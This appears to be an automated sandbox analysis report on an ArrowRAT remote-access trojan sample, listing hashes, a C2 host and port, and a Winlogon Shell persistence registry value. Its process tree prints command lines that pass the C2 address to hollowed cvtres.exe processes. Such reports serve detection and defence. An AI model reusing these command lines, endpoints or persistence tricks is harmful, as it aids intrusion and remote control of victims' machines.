Analysis
-
max time kernel
16s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
05-09-2024 13:44
Behavioral task
behavioral1
Sample
Client.exe
Resource
win7-20240903-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
Client.exe
Resource
win10v2004-20240802-en
windows10-2004-x64
23 signatures
150 seconds
General
-
Target
Client.exe
-
Size
158KB
-
MD5
ff04efb632b00fdd46fd3fe992ea8a37
-
SHA1
8a6f3fd785ac3d78e8de79656a9fa8f0c9527fb7
-
SHA256
dee58e8a247eab9726675a03ddc8485c66a204d7b9f2211d8fea89729d45e7a5
-
SHA512
a5747653fcaa76aea2cf7bc601b87e583c37f9fa34e399f30d4eaa816655b04c1ec14807477ddb965d6f276e4023560618550d124483e9608585fcbf392dde5a
-
SSDEEP
3072:qbzGH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPTKO8Y:qbzGe0ODhTEPgnjuIJzo+PPcfPT18
Score
10/10
Malware Config
Extracted
Family
arrowrat
Botnet
Client
C2
6.tcp.eu.ngrok.io:13114
Mutex
rLGiSBuYa
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Pan\\dora" Client.exe -
Boot or Logon Autostart Execution: Active Setup 2 TTPs 6 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383} ie4uinit.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled = "1" ie4uinit.exe Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383} ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Locale = "*" ie4uinit.exe Set value (str) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\Version = "11,0,9600,0" ie4uinit.exe -
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3g2 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m3u unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aifc unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.au unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mid unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp4 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wav unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wm unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wma unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpa unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.snd unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wvx unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.adts unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m1v unregmp2.exe Set value (int) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListTTL = "0" ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mod unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpg unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.asx unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m4v unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mov unregmp2.exe Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\BrowserEmulation ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp3 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmx unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wpl unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Capabilities ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp2 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpe unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.adt unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aiff unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.avi unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp2v unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpv2 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmv unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gp unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gp2 unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wax unregmp2.exe Set value (int) \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "4" ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m2v unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.midi unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmz unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.m4a unregmp2.exe Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aac unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.asf unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mp4v unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.mpeg unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.rmi unregmp2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Capabilities\Hidden = "0" ie4uinit.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.3gpp unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.aif unregmp2.exe Key created \REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\EmbedExtnToClsidMappings\.wmd unregmp2.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\ftp\DefaultIcon\ = "%SystemRoot%\\system32\\url.dll,0" ie4uinit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.m1v unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.wms unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-ms-wax\Extension = ".wax" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.website ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\audio\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ts\OpenWithProgIds unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\xhtmlfile\FriendlyTypeName = "@C:\\Windows\\system32\\ieframe.dll,-915" ie4uinit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\telnet\FriendlyTypeName = "@C:\\Windows\\system32\\ieframe.dll,-907" ie4uinit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Play\command\DelegateExecute = "{ed1d0fdf-4414-470a-a56d-cfb68623fc58}" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.xht\ = "xhtmlfile" ie4uinit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Enqueue unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.midi unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/3gpp2\CLSID = "{cd3afa98-b84f-48f0-9393-7edc34128127}" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\application/x-mplayer2 unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\CommandId = "IE.File" ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\video\shell\Play\command\DelegateExecute = "{ed1d0fdf-4414-470a-a56d-cfb68623fc58}" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.m4v unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mpeg\MPlayer2.BAK = "VLC.mpeg" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/mid unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\NetworkExplorerPlugins\urn:schemas-upnp-org:device:MediaRenderer:1\ShellEx\ContextMenuHandlers\{17FC1A80-140E-4290-A64F-4A29A951A867} unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.m2t\OpenWithProgIds unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.m4v\MP2.Last = "Custom" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-mpeg\Extension = ".mpeg" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\https\DefaultIcon ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Audio\shell\Enqueue\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9800" unregmp2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\.asf\OpenWithProgIds\WMP11.AssocFile.ASF = "0" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.wmv unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\video/x-ms-asf\CLSID = "{cd3afa8f-b84f-48f0-9393-7edc34128127}" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\opennew\ = "&Open" ie4uinit.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\.WMS\OpenWithProgIds\WMP11.AssocFile.WMS = "0" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\open\MUIVerb = "@C:\\Windows\\system32\\ieframe.dll,-5732" ie4uinit.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\.MTS\OpenWithProgIds\WMP11.AssocFile.M2TS = "0" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.midi unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/3gpp2\CLSID = "{cd3afa98-b84f-48f0-9393-7edc34128127}" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\opennew ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.URL\OpenWithProgIds\InternetShortcut ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Play\MUIVerb = "@%SystemRoot%\\system32\\unregmp2.exe,-9801" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.3gp2\MP2.Last = "Custom" unregmp2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\.M2TS\OpenWithProgIds\WMP11.AssocFile.M2TS = "0" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mp2\MP2.Last = "Custom" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/wav\CLSID = "{cd3afa7b-b84f-48f0-9393-7edc34128127}" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/x-aiff unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\http\shell\open ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mhtml\Content Type = "message/rfc822" ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shellex\ContextMenuHandlers\PlayTo\ = "{7AD84985-87B4-4a16-BE58-8B72A5B390F7}" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Audio\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}" unregmp2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\.avi\OpenWithProgIds\WMP11.AssocFile.AVI = "0" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Stack.Image\shell\Play\command\DelegateExecute = "{ed1d0fdf-4414-470a-a56d-cfb68623fc58}" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mp4\OpenWithProgIds unregmp2.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\PreferExecuteOnMismatch = "1" unregmp2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\DVD\shell unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\open\ = "Open in S&ame Window" ie4uinit.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\svgfile\shell\open\command ie4uinit.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.3gpp\MP2.Last = "Custom" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.asx\ = "WMP11.AssocFile.ASX" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.wpl\MP2.Last = "Custom" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\Directory.Image\shell\Enqueue\command\DelegateExecute = "{45597c98-80f6-4549-84ff-752cf55e2d29}" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.aifc\ = "WMP11.AssocFile.AIFF" unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\SupportedTypes\.mp4v unregmp2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Content Type\audio/mid\CLSID = "{cd3afa74-b84f-48f0-9393-7edc34128127}" unregmp2.exe -
Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe 2228 Client.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2228 Client.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe Token: SeShutdownPrivilege 3012 explorer.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 2644 ComputerDefaults.exe -
Suspicious use of SendNotifyMessage 19 IoCs
pid Process 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe 3012 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2228 Client.exe -
Suspicious use of WriteProcessMemory 55 IoCs
description pid Process procid_target PID 2228 wrote to memory of 3012 2228 Client.exe 29 PID 2228 wrote to memory of 3012 2228 Client.exe 29 PID 2228 wrote to memory of 3012 2228 Client.exe 29 PID 3012 wrote to memory of 2664 3012 explorer.exe 31 PID 3012 wrote to memory of 2664 3012 explorer.exe 31 PID 3012 wrote to memory of 2664 3012 explorer.exe 31 PID 2228 wrote to memory of 1308 2228 Client.exe 30 PID 2228 wrote to memory of 1308 2228 Client.exe 30 PID 2228 wrote to memory of 1308 2228 Client.exe 30 PID 2228 wrote to memory of 1308 2228 Client.exe 30 PID 2228 wrote to memory of 2680 2228 Client.exe 32 PID 2228 wrote to memory of 2680 2228 Client.exe 32 PID 2228 wrote to memory of 2680 2228 Client.exe 32 PID 2228 wrote to memory of 2680 2228 Client.exe 32 PID 2228 wrote to memory of 2700 2228 Client.exe 33 PID 2228 wrote to memory of 2700 2228 Client.exe 33 PID 2228 wrote to memory of 2700 2228 Client.exe 33 PID 2228 wrote to memory of 2700 2228 Client.exe 33 PID 2228 wrote to memory of 2652 2228 Client.exe 34 PID 2228 wrote to memory of 2652 2228 Client.exe 34 PID 2228 wrote to memory of 2652 2228 Client.exe 34 PID 2228 wrote to memory of 2652 2228 Client.exe 34 PID 2228 wrote to memory of 2568 2228 Client.exe 35 PID 2228 wrote to memory of 2568 2228 Client.exe 35 PID 2228 wrote to memory of 2568 2228 Client.exe 35 PID 2228 wrote to memory of 2568 2228 Client.exe 35 PID 2228 wrote to memory of 2536 2228 Client.exe 36 PID 2228 wrote to memory of 2536 2228 Client.exe 36 PID 2228 wrote to memory of 2536 2228 Client.exe 36 PID 2228 wrote to memory of 2536 2228 Client.exe 36 PID 2228 wrote to memory of 2420 2228 Client.exe 37 PID 2228 wrote to memory of 2420 2228 Client.exe 37 PID 2228 wrote to memory of 2420 2228 Client.exe 37 PID 2228 wrote to memory of 2420 2228 Client.exe 37 PID 2228 wrote to memory of 2972 2228 Client.exe 38 PID 2228 wrote to memory of 2972 2228 Client.exe 38 PID 2228 wrote to memory of 2972 2228 Client.exe 38 PID 2228 wrote to memory of 2972 2228 Client.exe 38 PID 2228 wrote to memory of 2528 2228 Client.exe 39 PID 2228 wrote to memory of 2528 2228 Client.exe 39 PID 2228 wrote to memory of 2528 2228 Client.exe 39 PID 2228 wrote to memory of 2528 2228 Client.exe 39 PID 2228 wrote to memory of 2636 2228 Client.exe 40 PID 2228 wrote to memory of 2636 2228 Client.exe 40 PID 2228 wrote to memory of 2636 2228 Client.exe 40 PID 2228 wrote to memory of 2636 2228 Client.exe 40 PID 2228 wrote to memory of 2644 2228 Client.exe 41 PID 2228 wrote to memory of 2644 2228 Client.exe 41 PID 2228 wrote to memory of 2644 2228 Client.exe 41 PID 2644 wrote to memory of 1816 2644 ComputerDefaults.exe 42 PID 2644 wrote to memory of 1816 2644 ComputerDefaults.exe 42 PID 2644 wrote to memory of 1816 2644 ComputerDefaults.exe 42 PID 2644 wrote to memory of 1032 2644 ComputerDefaults.exe 43 PID 2644 wrote to memory of 1032 2644 ComputerDefaults.exe 43 PID 2644 wrote to memory of 1032 2644 ComputerDefaults.exe 43 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2228 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Boot or Logon Autostart Execution: Active Setup
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:2664
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:1308
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2680
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2700
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2652
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2568
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2536
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2420
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2972
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2528
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 6.tcp.eu.ngrok.io 13114 rLGiSBuYa2⤵PID:2636
-
-
C:\Windows\System32\ComputerDefaults.exe"C:\Windows\System32\ComputerDefaults.exe"2⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\System32\ie4uinit.exe"C:\Windows\System32\ie4uinit.exe" -reinstall3⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies Internet Explorer settings
- Modifies registry class
PID:1816
-
-
C:\Windows\system32\unregmp2.exeC:\Windows\system32\unregmp2.exe /SetWMPAsDefault3⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:1032
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk
Filesize1KB
MD5cb962c9b656383db8fa5ded4d1a1c113
SHA10edda8ee31e3c35dff7e301e97ad37c7f5be6791
SHA2568239ff69d45342868c5a6e110561b2e636fac947976905a014cd28268f31a98e
SHA51251af57f8895f95d3fdfa41845eb618161a5c67f58edcbcfd02141ba84b36a121e4254a3891484bd8e016fe83b09956c70bd1f9c640c5612141659e80232aac05
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk
Filesize1KB
MD564fc02d8f9104b83fee148f0df56f3cd
SHA1106dc0efa5fc99f4fea735251c6f60bb3b3da28b
SHA256bde6128d9e4a2d985fe6533d8043c6cba2b8af32b68022aab902763a2387920d
SHA5127d91b1f3453d535b7ba5284f266c590a191481e4d8ddf9c2914c5ba7c7b0da02962e5a4662a8991ef158849c62e87d6fb992dc38c23541096b0bb319a9665411
-
Filesize
1KB
MD563423869f9fe7836d7b9d15984eec649
SHA1d5d45be78bcaa0a3c7ce62010f897ef0dd21fbae
SHA256c19d97ab9d35dca3416bbc7ab0916e8b9b7aa18ac3dbcf0696ee355165c27938
SHA512bae376e1a0435692fa045d319e8313bf39c66348311fb38f2800da53e654f99635f449fc0bd00a3453a5219653ac87e11dfdda7f74fad25050f1c50b4e3dd62a